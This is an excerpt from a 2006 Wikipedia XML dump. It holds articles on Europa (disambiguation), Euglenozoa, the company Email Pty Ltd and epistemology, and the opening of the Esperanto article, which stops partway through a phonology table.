    <id>9240</id>
    <revision>
      <id>40714661</id>
      <timestamp>2006-02-22T14:37:35Z</timestamp>
      <contributor>
        <username>Spudtater</username>
        <id>240830</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Europa''' may refer to:
*[[Europa (mythology)]], a beautiful Phoenician princess in Greek mythology
*[[Europa (moon)]], the smallest of the so called Galilean Moons of planet Jupiter
*[[52 Europa]], the ninth largest asteroid known
*[[Europa Island]], a small island in the Indian Ocean which is a possession of France
*[[Europa (Romain Gary novel)]]
*[[Europa (Tim Parks book)]]
*''Europa'', a film by Lars von Trier known in the United States as [[Zentropa]]
*[[Europa rocket]] was an early expendable launch system of the European Launcher Development Organisation, precursor to the European Space Agency's Ariane family of launch systems.
*[[Europa (ship)]], a traditionally-rigged tall ship from the Netherlands
*[[Europa (wargame)]], a series of board wargames launched in 1973
*[[M/S Silja Europa]], a car and passenger ferry in the Baltic Sea
*The [[Lotus Europa]], a sports car manufactured by Lotus Cars
* [[Europa Universalis]], a strategy computer game released in 2000 by Paradox Entertainment.
* [[Europa (album)]], by Covenant
* [[Europa (record label)]], a German record label
==See also==
* [[Europe (disambiguation)]]
{{disambig}}
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  <page>
    <title>Euglenozoa</title>
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      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Euglenozoa
| regnum = [[Protist]]a
| phylum = '''Euglenozoa'''
| phylum_authority = [[Thomas Cavalier-Smith|Cavalier-Smith]] 1981&lt;/small&gt;
| subdivision_ranks = Classes
| subdivision = 
[[Euglenid|Euglenoidea]]&lt;br&gt;
[[Kinetoplastid|Kinetoplastea]]&lt;br&gt;
[[Diplonemid|Diplonemea]]&lt;br&gt;
[[Postgaardid|Postgaardea]]
}}
The '''Euglenozoa''' are a large group of [[flagellate|flagellate protozoa]], dominated by the [[euglenid]]s and [[kinetoplastid]]s.  They include various common free-living forms as well as a few important parasites, some of which are parasitic in humans.  Most are small, around [[1 E-5 m|15-40 µm]] in size, although many euglenids get up to 500 µm long.

Most Euglenozoa have two [[flagellum|flagella]], usually one leading and one trailing, which insert parallel to each other in an apical or subapical pocket.  In most forms there is an associated cytostome (mouth) supported by one of three [[microtubule]] groups that arise from the flagellar bases.  These are characteristic of the group; the other two support the [[dorsal]] and [[ventral]] surfaces of the cell, and in the euglenids support proteinaceous strips that form a pellicle.  A number of other ultrastructural peculiarities also distinguish the group, most notably the presence of a paraxial rod in each flagellum, which respectively have tubular and latticed structures.

Most Euglenozoa feed by ingesting smaller organisms, typically [[bacterium|bacteria]], or by absorption.  A number of euglenids, however, possess [[chloroplast]]s and so produce energy through photosynthesis. When present chloroplasts are green with chlorophylls a and b, beta carotene, xanthophylls,and a pyrenoid region surrounded by a triple membrane.  These have generally lost the cytostome and often have other adaptations to an autotrophic life, such as light-sensitive eyespots.  The chloroplasts are contained in three membranes and are pigmented similarly to the [[plant]]s, suggesting they were retained from some captured [[green alga]].

All Euglenozoa have [[mitochondrion|mitochondria]] with discoid cristae, which in the kinetoplastids characteristically have a DNA-containing granule or ''kinetoplast'' associated with the flagellar bases.  No examples of [[sexual reproduction]] in the group have been found.  Reproduction is exclusively through cell division, characteristically with closed [[mitosis]] involving an internal spindle.  The monophyly of the Euglenozoa is generally accepted, and they are believed to be related to the [[Percolozoa]] and other [[excavate]] flagellates.

== References ==

* {{cite journal | author=T. Cavalier-Smith | title=Eukaryote kingdoms: seven or nine? | journal=Biosystems | year=1981 | volume=14 | pages=461-481}}
[[Category:Protista]][[Category:Flagellates]][[Category:Euglenozoa|*]]

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    <title>EigenVectors</title>
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    <title>Email (corporation)</title>
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      <comment>moved [[Email]] to [[Email (corporation)]]</comment>
      <text xml:space="preserve">: {{otheruses3|E-mail}}
'''Email Pty Ltd''' is a company with two primary business divisions, ''viz:'' The service of [[white goods]] and the service of [[service station]] bowsers.

There is also a division which manufactures utility metering devices, and trades under the name ''AMPY Email Metering''.

At one time it was a wholly owned  subsiduary of [[General Electric]], but has been sold numerous times.
Its company number is 000 029 407 and its registered office is in [[Melbourne, Victoria]].

==External Links==
[http://www.emailmetering.com/ http://emailmetering.com]

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    <title>Epistemology</title>
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      <comment>/* Justified true belief */</comment>
      <text xml:space="preserve">'''Epistemology''', from the [[Greek language|Greek]] words ''[[episteme]]'' (knowledge) and ''[[logos]]'' (word/speech) is the branch of [[philosophy]] that deals with the nature, origin and scope of [[knowledge]]. Historically, it has been one of the most investigated and most debated of all philosophical subjects. Much of this debate has focused on analysing the nature and variety of knowledge and how it relates to similar notions such as [[truth]] and [[belief]]. Much of this discussion concerns the justification of knowledge claims, that is the grounds on which one can claim to know a particular fact.

Not surprisingly, the way that knowledge claims are justified both leads to and depends on the general approach to philosophy one adopts. Thus, philosophers have developed a range of epistemological theories to accompany their general philosophical positions. More recent studies have re-written centuries-old assumptions, and the field of epistemology continues to be vibrant and dynamic.

== Defining knowledge ==
=== Justified true belief ===
In Plato's dialogue the ''[[Theaetetus (Plato)|Theaetetus]]'', Socrates considers a number of definitions of knowledge. One of the prominent candidates is '''[[Theory of justification|justified]] [[truth|true]] [[belief]]'''. We know that for something to count as knowledge it must be true and be believed to be true (see section on defining belief in Epistemology, below). Socrates argues that this is insufficient; in addition one must have a ''reason'' or ''justification'' for that belief.  

One implication of this definition is that one cannot be said to &quot;know&quot; something just because one believes something that subsequently turns out to be true. An ill person with no medical training, but a generally optimistic attitude, might believe that she will recover from her illness quickly. But even if this belief turned out to be true, on the Theaetetus account, the patient did not '''know''' that she would get well because her belief lacked justification.

Knowledge, therefore, is distinguished from true belief by its '''justification''', and much of epistemology is concerned with how true beliefs might be properly justified. This is sometimes referred to as the [[theory of justification]].

The Theaetetus definition agrees with the common sense notion that we can believe things without knowing them. Whilst ''knowing'' p [[Logical conditional|entails]] that p is true, ''believing'' in p does not, since we can have false beliefs. It also implies that we believe everything that we know. That is, the things we know form a [[subset]] of the things we believe.

For most of philosophical history, &quot;knowledge&quot; was taken to mean belief that was justified as true to an absolute certainty. Any less justified beliefs were called mere &quot;probable opinion.&quot; This viewpoint still prevailed at least as late as [[Bertrand Russell]]'s early 20th century book ''The Problems of Philosophy''. In the decades that followed, however, the notion that the belief had to be justified ''to a certainty'' lost favour.

=== Gettier cases and contemporary definitions of knowledge===
{{main|Gettier problem}}

In the [[1960s]], [[Edmund Gettier]] argued that there are situations in which a belief may be justified and true, and yet would not count as knowledge - overturning in a few short pages a theory that had been dominant for thousands of years. Although being a justified, true belief is ''necessary'' for a statement to count as knowledge, it is not, Gettier demonstrated, ''sufficient''.  Gettier says that formulations of the following form are flawed:

S knows that P if and only if:
* P 
* S believes that P, and
* S is justified in believing that P.

This is because we can conceive of circumstances in which a person might have a good reason to believe a general proposition true, be correct, but not be correct for the reasons which she takes herself to be.  Gettier gives the example of two persons, Smith and Jones, who are awaiting the results of their applications for the same job, both of whom have ten coins in their pockets.  Smith has excellent reasons to believe that Jones will get the job and is furthermore correct in his belief that Jones has 10 coins in his pocket (he saw them counted just a moment before).  From this he infers that ‘a person with ten coins in his pocket will get the job’.  However, Smith doesn’t know that he himself also has 10 coins in his pocket.  In fact, Smith is to get the job – his reasons to believe otherwise were excellent, but wrong.  His belief that ‘a person with ten coins in his pocket will get the job’ satisfies all the above conditions, but still we would be hesitant to say that he knew what he thought he knew, because the reasons he took to justify his belief, while strong, were not the reasons which would have correctly justified his belief.  (Which might have included the knowledge of ‘I have ten coins in my pocket’ and an overriding reason to believe that he would get the job).  

Someone might want to say that, in fact, as far as they are concerned in the example given, Smith really does ‘know’ that ‘someone with ten coins in their pocket’ will get the job, but many people find this hard to accept.

====Responses to Gettier====
Gettier's article was published in 1963.  Since then, there have been an enormous number of articles trying to provide an adequate definition of knowledge, several of which have been an attempt to supply a further fourth condition.  Robert Nozick offers this formulation:

S knows that P if and only if:
* P
* S believes that P
* If not P, S would not believe that P
* If P, S will believe that P

[[Simon Blackburn]] offers a critique of this formulation, in which he suggests that we do not want to accept as knowledge beliefs which, while they 'track the truth' (as Nozick's account requires), are not held for appropriate reasons.  He says that 'we do not want to award the title of knowing something to someone who is only meeting the conditions through a defect, flaw, or failure, compared with someone else who is not meeting the conditions.'

In another response to Gettier, [[Richard Kirkham]] has argued that the failures to find an account of knowledge immune from counterexamples is because the only definition that could ever be immune to all such counterexamples is the original one that prevailed from ancient times through Russell: to qualify as an item of knowledge, a belief must not only be true and justified, the evidence for the belief must ''necessitate'' its truth. Though this seems to set a very high hurdle for truth, Kirkham notes that it doesn't exclude the possibility of rational belief altogether.

Some of the proposed solutions involve factors external to the agent. These responses are known as theories of [[externalism]]. For example, one externalist response to the Gettier problem is to say that the justified, true belief must be caused (in the right sort of way) by the relevant facts.

=== Contemporary approaches === 

Much contemporary work in epistemology depends on the two categories: [[foundationalism]] and [[coherentism]].

Recently, [[Susan Haack]] has attempted to fuse these two approaches into her doctrine of [[Foundherentism]], which accrues degrees of relative confidence to beliefs by mediating between the two approaches. She covers this in her book [[Evidence and Inquiry: Towards Reconstruction in Epistemology]].  [[Timothy Williamson]], in his book [[Knowledge and its Limits]], seeks to revert the traditional conceptual priority of belief to knowledge, instead seeing belief as dependent on knowledge

=== Defining 'belief' in Epistemology ===
[[Image:Classical-Definition-of-Kno.gif|frame|Knowledge is true and believed and ...]]

Sometimes, when people say they 'believe in' something, what they mean is that they predict that it will prove to be useful or successful in some sense - perhaps someone might 'believe in' his or her favourite football team.  This is not what Epistemologists mean.   

In the second sense of belief, to believe something just means to think that it is true. That is, to believe P is to do no more than to think, for whatever reason, that P is the case.  The reason is that in order to ''know'' something, one must ''think that it is true'' - one must believe (in the second sense) it to be the case.

Consider someone saying &quot;I know that P, but I don't think P is true&quot;. The person making this utterance has, in a profound sense, contradicted himself. If one knows that P, then, amongst other things, one thinks that P is indeed true. If one thinks that P is true, then one believes P.  (''See: [[Moore's paradox]]''.)

Knowledge is distinct from [[belief]] and [[opinion]]. If someone claims to believe something,he is claiming that he thinks that it is the [[truth]]. But of course, it ''might'' turn out that he was mistaken, and that what he thought was true was actually false. This is not the case with knowledge. For example, suppose that Jeff thinks that a particular bridge is safe, and attempts to cross it; unfortunately the bridge collapses under his weight. We might say that Jeff ''believed'' that the bridge was safe, but that his belief was mistaken. We would ''not'' say that he ''knew'' that the bridge was safe, because plainly it was not. For something to count as ''knowledge'', it must be true.

Similarly, two people can ''believe'' things that are mutually contradictory, but they cannot ''know'' (unequivocally) things that are mutually contradictory. For example, Jeff can ''believe'' the bridge safe, while Jenny believes it unsafe. But Jeff cannot ''know'' the bridge is safe and Jenny cannot ''know'' that the bridge is unsafe simultaneously. Two people cannot ''know'' contradictory things.

=== '''Distinguishing''' ''knowing that'' from ''knowing how'' ===
Suppose that [[Metasyntactic variable|Fred]] says to you: &quot;The fastest [[swimming]] stroke is the [[front crawl]]. One performs the front crawl by oscillating the legs at the hip, and moving the arms in an approximately circular motion&quot;. Here, Fred has [[propositional knowledge]] of swimming and how to perform the front crawl.

However, if Fred acquired this propositional knowledge from an [[encyclopedia]], he will not have acquired the [[skill]] of swimming: he has some propositional knowledge, but does not have any [[procedural knowledge]] or &quot;know-how&quot;. In general, one can demonstrate know-how by performing the task in question, but it is harder to demonstrate propositional knowledge. [[Michael Polanyi]] popularised the term [[tacit knowledge]] to distinguish the ability to do something from the ability to describe how to do something. [[Gilbert Ryle]] had previously made a similar point in discussing the characteristics of [[intelligence (trait)|intelligence]]. His ideas are summed up in the [[aphorism]] &quot;efficient practice precedes the theory of it&quot;. Someone with the ability to perform the appropriate moves is said to be able to swim, even if that person cannot precisely identify what it is he does in order to swim. This distinction is often traced back to [[Plato]], who used the term ''[[techne]]'' or ''skill'' for ''knowledge how'', and the term ''[[episteme]]'' for a more robust kind of knowledge in which claims can be true or false.

== A priori versus a posteriori knowledge ==
Western [[Philosophy|philosophers]] for centuries have distinguished between two kinds of knowledge: [[a priori]] and [[a posteriori]] knowledge.

*'''A priori''' knowledge is knowledge gained or justified by [[reason]] alone, without the direct or indirect influence of any particular experience (here, ''experience'' usually means observation of the world through sense perception.  See ''[[#Rationalism|Rationalism]]'', below, for clarification.)
*'''A posteriori''' knowledge is any other sort of knowledge; that is, knowledge the attainment or justification of which requires reference to experience. This is also called [[empirical knowledge]].

One of the fundamental questions in [[epistemology]] is whether there is any non-trivial a priori knowledge.  Generally speaking [[continental rationalism|rationalists]] believe that there is, while [[empiricism|empiricists]] believe that all knowledge is ultimately derived from some kind of external experience.

The fields of knowledge most often suggested as having a priori status are [[logic]] and [[mathematics]], which deal primarily with abstract, formal objects.

Empiricists have traditionally denied that even these fields could be a priori knowledge. Two common arguments are that these sorts of knowledge can only be derived from experience (as [[John Stuart Mill]] argued), and that they do not constitute &quot;real&quot; knowledge (as [[David Hume]] argued).

== Justification ==
Much of epistemology has been concerned with seeking ways to justify beliefs. 

===Irrationalism===
Some approaches to justifying beliefs are not [[rationality|rational]] &amp;mdash; that is, they reject the notion that justification must obey [[logic]] or reason. [[Nihilism]] started out as a materialistic political philosophy, but is sometimes redefined as the apparently absurd doctrine that there can be no justification for any claim &amp;mdash; absurd because the doctrine implies that nihilism itself cannot be justified.

One definition of contemporary ''[[Mysticism]]'' is the use of non-rational methods to arrive at beliefs and the acceptance of such beliefs as knowledge. For example, believing that something is true based on emotion may be regarded as epistemological mysticism. An instance of this may be when one bases one's belief in the existence of something merely on one's ''desire'' that it should exist. Another example might be the use of a daisy's petals and the phrase &quot;he loves me / he loves me not&quot; while they are plucked to determine whether Romeo returns Juliet's affections. The mysticism in this example would be the assumption that such a method has predictive or indicative powers without rational evidence of this (this does not necessarily lessen its importance as a symbolic tool in human thought). In both of these examples, belief is not justified through rational means. Mysticism need not be an intentional process: one may engage in mystical thought without realizing it.

Contemporary Mysticism should not be confused with ''traditional'' Mysticism, which is a spiritual practice in many Eastern religions. It is the practice of focusing thought that is important to traditional mysticism, rather than the content of the thought. One difficulty precident in many forms of mysticism is the ''suspension of disbelief'' as conflicting beliefs are said to interfere with the supernatural spiritual or mental abilities. This can be criticized as not solely suspending disbelief, but in requiring an irrational belief of the possibility of the promised potential outcomes.

=== Rationality ===
[[Philosophical scepticism|Philosophical skeptics]] maintain that much of what we typically take to be knowledge is not in fact knowledge. In contrast to mystics, most skeptics attempt to present [[logical argument]]s for their claims.

For instance, the [[regress argument]] has it that one can ask for the justification for any belief. If that justification depends on another belief, one can also reasonably ask for the latter belief to be justified, and so forth. This appears to lead to an infinite regress, with each belief justified by some further belief. The apparent impossibility of completing an infinite chain of reasoning is thought by some to support skepticism.

Some philosophers, notably [[Peter Klein]], have argued that it is not impossible to have an infinite series of reasons and that such an infinite series could explain how we have knowledge. This position is known as ''[[infinitism]]''. Infinitists typically take the infinite series to be merely potential, in the sense that an individual may have indefinitely many reasons ''available'' to him, without having consciously thought through all of these reasons. The individual need only have the ability to bring forth the relevant reasons when the need arises. This position is motivated in part by the desire to avoid skepticism.

[[Foundationalism|Foundationalists]] respond to the regress argument by claiming that some beliefs that are fit to support other beliefs and knowledge do not themselves require justification. Sometimes these ''foundational'' beliefs are characterized as beliefs about what one is directly aware of, or as beliefs that are self-justifying, or as beliefs that are infallible. According to one particularly permissive form of foundationalism, a belief may count as foundational, in the sense that it may be presumed true until defeating evidence appears, as long as the belief ''appears'' to the subject to be true.

Another response to the regress problem is to reject the assumption that beliefs can only be justified by linear chains of reasoning. [[Coherentism]] holds that an individual belief is justified not by such linear reasoning but by the way the belief fits together ([[Truth#Coherence Theory|coheres]]) with the rest of one's belief system. This has the advantage of avoiding the infinite regress without claiming special status for some particular class of beliefs. But since a system can be coherent and yet still be wrong, coherentists face the difficulty of ensuring that the whole system [[correspondence theory of truth|corresponds]] in some way with reality.

=== Synthetic and analytic statements ===
Some statements are such that they appear not to need any justification once one understands their [[meaning]]. For example, consider: ''my father's brother is my uncle''. This statement is true in virtue of the meaning of the terms it contains, and so it seems frivolous to ask for a justification for saying it is true. Philosophers call such statements ''analytic''. More technically, a statement is analytic if the concept in the predicate is included in the concept in the subject. In the example, the concept of uncle (the predicate) is included in the concept of being my father's brother (the subject). Not all analytic statements are as trivial as this example. [[mathematics|Mathematical]] statements are often taken to be analytic. 

Synthetic statements, on the other hand, have distinct subjects and [[predicate]]s. An example would be ''my father's brother is overweight''.

Although anticipated by [[David Hume]], this distinction was more clearly formulated by [[Immanuel Kant]], and later given a more formal shape by [[Frege]]. [[Wittgenstein]] noted in the ''[[Tractatus]]'' that analytic statements &quot;express no thoughts&quot;, that is, that they tell us nothing new; although analytic statements do not require justification, they are singularly uninformative.  [[W.V.O. Quine]], in his famous ''[[Two Dogmas of Empiricism]]'', challenged the legitimacy of the analytic-synthetic distinction altogether.

== Epistemological theories ==
It is common for epistemological theories to avoid skepticism by adopting a foundationalist approach. To do this, they argue that certain types of statements have a special epistemological status &amp;mdash; that of not needing to be justified. So it is possible to classify epistemological theories according to the type of statement that each argues has this special status.

=== Empiricism ===
[[empiricism|Empiricists]] claim knowledge is a product of human [[experience]]. Statements of observations take pride of place in empiricist theory. [[Naïve empiricism]] holds simply that our ideas and theories need to be tested against [[realism|reality]], and accepted or rejected on the basis of how well they ''correspond'' to ''observed facts''. The central problem for epistemology then becomes explaining this [[correspondence theory of truth|correspondence]].

Empiricism is associated with [[science]]. While there can be little doubt about the effectiveness of  science, there is much philosophical debate about how and why science works. The [[Scientific Method]] was once favoured as the reason for scientific success, but recent difficulties in the [[philosophy of science]] have led to a rise in [[coherentism]].

[[Empiricism]] is sometimes associated with a tradition called [[logical empiricism]], or [[positivism]], which places higher emphasis on ideas about reality rather than on experiences of reality.

=== Idealism ===
[[Idealism]] holds that what we refer to and perceive as the external world is in some way an artifice of the mind. Analytic statements (for example, mathematical truths), are held to be true without reference to the external world, and these are taken to be exemplary knowledge statements. [[George Berkeley]], [[Immanuel Kant]] and [[Georg Hegel]] held various idealist views.  Idealism is itself a ''[[metaphysical]]'' thesis, but has important epistemological consequences.

==== Naïve realism ====
[[Naïve realism]], sometimes called Common Sense realism, is the belief that there is a real external world, and that our perceptions are caused directly by that world. It has its foundation in [[Causality|causation]] in that an object being there causes us to see it. Thus, it follows, the world remains as it is when it is perceived - when it is not being perceived - ''a room is still there once we exit''. The opposite theory to this is [[solipsism]]. Some argue that naïve realism fails to take into account the psychology of [[perception]], but naïve realists argue that viewing the psychology of [[perception]] as a problem for naïve realism requires begging the question in favor of idealism.  (''See: [[G.E. Moore]]''.)

=== Phenomenalism ===
[[Phenomenalism]] is a development from [[George Berkeley]]'s claim that to be is to be perceived.  According to phenomenalism, when you see a tree, you see a certain perception of a brown shape, when you touch it, you get a perception of pressure against your palm. On this view, one shouldn't think of objects as distinct substances, which interact with our senses so that we may perceive them; rather we should conclude that the perception itself  is all that really exists.

=== Pragmatism ===
[[Pragmatism]] about knowledge holds that what is important about knowledge is that it solves certain problems that are constrained both by the world and by human purposes.  The place of knowledge in human activity is to resolve the problems that arise in conflicts between belief and action.  Pragmatists are also typically committed to the use of the experimental method in all forms of inquiry, a non-skeptical fallibilism about our current store of knowledge, and the importance of knowledge proving itself through future testing.

=== Rationalism ===
[[continental rationalism|Rationalists]] believe that there are [[a priori]] or [[innate ideas]] that are not derived from [[sense experience]]. These ideas, however, may be justified by experience. These ideas may in some way derive from the structure of the human [[mind]], or they may exist independently of the mind. If they exist independently, they may be understood by a human mind once it reaches a necessary degree of sophistication. 

The epitome of the rationalist view is [[Descartes]]' ''[[Cogito ergo sum]]'' (&quot;I think, therefore I am&quot;), in which the skeptic is invited to consider that the mere fact that he doubts this claim implies that there is a doubter.  Because doubting is a kind of thinking, the claim must be correct.  [[Spinoza]] derived a rationalist system in which there is only one substance, [[God]]. [[Leibniz]] derived a system in which there are an infinite number of substances, his ''[[monad|Monads]]''.

=== Representationalism ===
[[Representationalism]] or [[representative realism]], unlike naïve realism, proposes that we cannot see the external world directly, but only through our perceptual representations of it. In other words, the objects and the world that you see around you are not the world itself, but merely an internal virtual-reality replica of that world. The so-called [[veil of perception]] removes the real world from our direct inspection.

===Relativism===
[[Relativism]] as advocated by [[Protagoras]] maintains that all things are true and in a constant state of flux, revealing certain aspects of truth at one time while concealing them at another.  It claims that there is no objective truth: anything which a person can perceive is true for that person, but not necessarily true for the next person. By equating perceptions and beliefs with truth, overt self-contradiction is avoided.

=== Skepticism ===
[[Philosophical skepticism]] holds that one can never have sufficient justification in a belief to have knowledge. By contrast, [[scientific skepticism]] is the practical stance that one should accept claims only given solid evidence.

== See also ==
* [[Contextualism]]
* [[Eastern epistemology]]
* [[Ethics]] 
* [[Evidentialism]]
* [[Methodology]]
* [[Methods of obtaining knowledge]]
* [[Philosophy of perception|Perception]]
* [[Philosophy of science]]
* [[Reason]] 
* [[Science education]] 
* [[Scientific modeling]]
* [[Self-evidence]]  
* [[Social epistemology]]
* [[Subjective idealism]]
* [[Transcendental idealism]] 
* [[Virtue epistemology]]
* [[Analytic tradition]]
* [[Bayesian probability]]
* [[Evidentiality]] (linguistics)

== External links and references ==
* [http://pantheon.yale.edu/~kd47/e-page.htm The Epistemology Page] by Keith DeRose
* [http://home.sprynet.com/~owl1/epistemo.htm Epistemology Papers] by Michael Huemer
* [http://www.galilean-library.org/int5.html Epistemology Introduction, Part 1] and *[http://www.galilean-library.org/int20.html Part 2] by Paul Newall at the Galilean Library.
* [http://www.ditext.com/clay/know.html Marjorie Clay (ed.), ''Teaching Theory of Knowledge'', The Council for Philosophical Studies, 1986.]  
* Boufoy-Bastick, Z. (2005). [http://zach.securitymeltdown.com/papers/Attainable-Knowledge-Boufoy-Bastick,Z.pdf Introducing 'Applicable Knowledge' as a Challenge to the Attainment of Absolute Knowledge]. ''Sophia Journal of Philosophy'', 8, 39-51.
* [http://www.ditext.com/gettier/gettier.html Is Justified True Belief Knowledge?] from ''Analysis'', Vol. 23, pp. 121-23 (1963) by [[Edmund L. Gettier]], transcribed by Andrew Chrucky (Sept. 13, 1997).
* Richard Kirkham, &quot;Does the Gettier Problem Rest on a Mistake?&quot; Mind, 93, 1984.
* Bertrand Russell, [http://www.ditext.com/russell/russell.html ''The Problems of Philosophy'' (1912)]
* Ayn Rand, [http://www.noblesoul.com/orc/books/rand/itoe.html ''Introduction to Objectivist Epistemology'' (1979)]
* [http://www.groovyweb.uklinux.net/?page_name=philosophy%20of%20knowledge&amp;category=philosophy Groovyweb]
* [http://www.philosophyonline.co.uk/tok/tokhome.htm Philosophy online] 
* [http://www.galilean-library.org/int5.html An Introduction to Epistemology] by Paul Newall, aimed at beginners.
* [http://www.philosophyofreligion.info/reformedepistemology.html Reformed Epistemology] by Tim Holt
* Stanford Encyclopedia of Philosophy:
** [http://plato.stanford.edu/entries/epistemology/ Epistemology]
** [http://plato.stanford.edu/entries/epistemology-bayesian/ Bayesian Epistemology]
** [http://plato.stanford.edu/entries/epistemology-evolutionary/ Evolutionary Epistemology]
** [http://plato.stanford.edu/entries/feminism-epistemology/ Feminist Epistemology and Philosophy of Science]
** [http://plato.stanford.edu/entries/epistemology-naturalized/ Naturalized Epistemology]
** [http://plato.stanford.edu/entries/epistemology-social/ Social Epistemology]
** [http://plato.stanford.edu/entries/epistemology-virtue/ Virtue Epistemology]
** [http://plato.stanford.edu/entries/sense-data/ Sense Data]
* [http://www.solagratia.org/Search.aspx?q=epistemology Articles on Christian Epistemology]
* [http://www.missouri.edu/%7ekvanvigj/certain_doubts/ Certain Doubts] (interactive epistemic discussion)

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    </revision>
  </page>
  <page>
    <title>Esperanto</title>
    <id>9248</id>
    <revision>
      <id>41949232</id>
      <timestamp>2006-03-02T20:53:14Z</timestamp>
      <contributor>
        <ip>83.114.50.238</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|name=Esperanto
|caption=Flag
|image=[[Image:Flag of Esperanto.svg|150px|center|Esperanto flag]]
|creator=[[L.L. Zamenhof]]
|date=[[1887]]
|setting=[[International auxiliary language]]
|speakers=[[Native Esperanto speakers|Native]]: approx. 1000-2000;&lt;br /&gt;Fluent speakers: est. 100,000 to 2 million 
|fam2=[[International auxiliary language]]
|posteriori=vocabulary from [[Romance languages|Romance]] and [[Germanic languages|Germanic]] languages; phonology from [[Slavic languages]]
|agency=[[Akademio de Esperanto]]
|iso1=eo|iso2=epo|iso3=epo}}
{{portal}}
{{wiktionarypar|Esperanto}}
'''Esperanto''' is the most widely spoken [[constructed language|constructed]] [[international auxiliary language|international language]]. The name derives from ''Doktoro Esperanto'', the [[pseudonym]] under which [[L. L. Zamenhof]] first published the ''[[Unua Libro]]'' in [[1887]]. Zamenhof's goal was to create an easy and flexible [[language]] as a universal [[second language]] to foster [[peace]] and international understanding. 

Although no [[List of countries|country]] has adopted the [[official language|language officially]], it has enjoyed continuous usage by a community estimated at between 100,000 and 2 million speakers.  It is estimated that there are more than a thousand [[Native Esperanto speakers|native speakers]]. 

Today, Esperanto is employed in [[tourism|world travel]], [[correspondence]], [[culture|cultural]] exchange, conventions, [[literature]], language instruction, [[television]] ([[Internacia Televido]]) and [[radio]] [[broadcasting]]. Some state [[education]] systems offer elective courses in Esperanto; there is evidence that learning Esperanto is a useful preparation for later language learning (see [[#Esperanto and education|Esperanto and education]]).

== History ==
{{main|History of Esperanto}}
[[Image:Zamenhof.gif|thumb|right|L.L. Zamenhof, creator of Esperanto]]
Esperanto was developed in the late [[1870s]] and early [[1880s]] by Dr. [[L. L. Zamenhof|Ludovic Lazarus Zamenhof]].  After some ten years of development, which Zamenhof spent translating literature into the language as well as writing original [[prose]] and [[verse]], the [[Unua Libro|first Esperanto grammar]] was published in [[Warsaw]] in July [[1887]]. The number of speakers grew rapidly over the next few decades, at first primarily in the [[Russian empire]] and [[Eastern Europe]], then in [[Western Europe]] and the [[Americas]], [[China]], and [[Japan]]. In the early years speakers of Esperanto kept in contact primarily through correspondence and [[magazine|periodicals]], but in [[1905]] the first [[World Congress of Esperanto|world congress of Esperanto speakers]] was held in [[Boulogne-sur-Mer]], [[France]]. Since then world congresses have been held on five [[continent]]s every year except during the two [[world war|World Wars]], and have been attended by up to 6000 people (typically 2000-3000).

Esperanto has no official status in any country, but is an elective part of the [[curriculum]] in several state systems. There were plans at the beginning of the [[20th century]] to establish [[Moresnet|Neutral Moresnet]] as the world's first Esperanto state, and the short-lived [[artificial island]] [[micronation]] of [[Republic of Rose Island|Rose Island]] used Esperanto as its official language in [[1968]]. In China, there was talk in some circles after the [[1911]] [[Xinhai Revolution]] about officially replacing [[Chinese language|Chinese]] with Esperanto as a means to dramatically bring the country into the twentieth century, though this policy proved untenable.  In the summer of [[1924]], the [[American Radio Relay League]] adopted Esperanto as its official [[international auxiliary language]], and hoped that the language would be used by [[Amateur radio|radio amateurs]] in international communications, but actual use of the language for radio communications was negligible.  Esperanto is the working language of several [[non-profit organization|non-profit]] international organizations such as the ''[[Sennacieca Asocio Tutmonda]]'' and the [[United Citizens Alliance]], but most others are specifically Esperanto organizations. The largest of these, the [[World Esperanto Association]], has an official consultative relationship with the [[United Nations]] and [[United Nations Educational, Scientific and Cultural Organization|UNESCO]]. The [[Oomoto]] [[religion]] encourages the use of Esperanto among their followers. The [[Bahá'í Faith]] encourages the use of an auxiliary international language, and, while endorsing no specific language, sees Esperanto as having great potential in this role.

== Linguistic properties ==
=== Classification ===
As a [[constructed language]], Esperanto is not [[Genealogy|genealogically]] related to any [[ethnic group|ethnic]] language. 
Esperanto can be described as &quot;a language [[lexicon|lexically]] predominantly [[Romance languages|romanic]], [[morphology (linguistics)|morphologically]] intensively [[agglutination|agglutinative]] and to a certain degree [[isolating languages|isolating]] in character&quot; ([[#References|Blanke 1985]]).   

The [[phonology]], [[grammar]], [[vocabulary]], and [[semantics]] are based on the western [[Indo-European languages]]. The [[phoneme|phonemic inventory]] is essentially [[Slavic languages|Slavic]], as is much of the semantics, while the [[vocabulary]] derives primarily from the [[Romance languages]], with a lesser contribution from [[Germanic languages|Germanic]]. [[Pragmatics]] and other aspects of the language not specified by Zamenhof's original documents were influenced by the native languages of early speakers, primarily [[Russian language|Russian]], [[Polish language|Polish]], [[German language|German]], and [[French language|French]].

[[Linguistic typology|Typologically]], Esperanto has [[preposition]]s and a [[information flow|pragmatic word order]] that by default is ''[[Subject Verb Object]]'' and ''[[Adjective Noun]]''. New words are formed through extensive [[prefix]]ing and [[suffix]]ing.

=== Phonology ===
:''See also [[Esperanto phonology]].''

Esperanto has 5 [[vowel]]s and 23 [[consonant]]s, of which two are [[semivowel]]s. It does not have [[tone (linguistics)|tone]]. [[Stress (linguistics)|Stress]] is always on the second-last vowel, unless a final vowel ''o'' is [[Elision|elided]] (which in practice occurs most in [[poetry]]). For example, ''familio'' (family) is {{IPA|[fa.mi.ˈli.o]}}, but ''famili’'' is {{IPA|[fa.mi.ˈli]}}. 

==== Consonants ====
{| class=&quot;wikitable&quot; style=&quot;margin: 0 auto;&quot;
|-
|
| colspan=&quot;2&quot; | [[Bilabial consonant|Bilabial]]
| colspan=&quot;2&quot; | [[Labiodental consonant|Labio-&lt;br/&gt;dental]]
| colspan=&quot;2&quot; | [[Alveolar consonant|Alveolar]]
| colspan=&quot;2&quot; | [[Postalveolar consonant|Post-&lt;br/&gt;alveolar]]
| colspan=&quot;2&quot; | [[Palatal consonant|Palatal]]
| colspan=&quot;2&quot; | [[Velar consonant|Velar]]
| colspan=&quot;2&quot; | [[Glottal consonant|Glottal]]
|-
| | [[Plosive consonant|Plosive]]
| [[Voiceless bilabial plosive|{{IPA|p}}]] || [[Voiced bilabial plosive|{{IPA|b}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| [[Voiceless alveolar plosive|{{IPA|t}}]] || [[Voiced alveolar plosive|{{IPA|d}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
